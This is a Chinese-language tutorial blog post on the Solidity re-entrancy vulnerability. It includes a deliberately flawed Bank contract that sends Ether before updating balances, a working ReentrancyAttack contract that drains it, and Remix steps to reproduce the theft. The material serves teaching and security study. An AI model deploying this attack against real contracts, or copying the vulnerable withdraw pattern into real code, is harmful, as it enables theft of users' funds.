Nonebasdbd

V1

2022/10/12阅读:23主题:默认主题

Solidity - Re-Entrancy

0x01 漏洞介绍

将Ether发送到地址的操作需要合约提交外部调用,这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码导致重新进入逻辑

  • address.transfer()
  • address.send()
  • address.call()

除了call()之外其他两个函数都无法造成重入漏洞(没有条件)

0x02 漏洞复现

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;

interface IBank {
    function deposit() external payable;

    function withdraw() external;
}

contract Bank {
    mapping(address => uint256) public balance;
    uint256 public totalDeposit;

    function ethBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function deposit() external payable {
        balance[msg.sender] += msg.value;
        totalDeposit += msg.value;
    }

    function withdraw() external {
        require(balance[msg.sender] > 0, "Bank: no balance");
        msg.sender.call{value: balance[msg.sender]}("");
        totalDeposit -= balance[msg.sender];
        balance[msg.sender] = 0;
    }
}

contract ReentrancyAttack {
    IBank bank;

    constructor(address _bank) {
        bank = IBank(_bank);
    }

    function doDeposit() external payable {
        bank.deposit{value: msg.value}();
    }

    function doWithdraw() external {
        bank.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {
        bank.withdraw();
    }
}
  • 1.打开 https://remix.ethereum.org/

  • 2.选择 solidity 版本为 0.8.12,部署 Bank 合约。

  • 3.将 Bank 合约地址作为参数部署 ReentrancyAttack 合约。

  • 4.value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether。

  • 5.value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether。

  • 6.点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether。

  • 7.点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击。

  • 8.点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether。

  • 9.使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付。

分类:

后端

标签:

Golang

作者介绍

Nonebasdbd
V1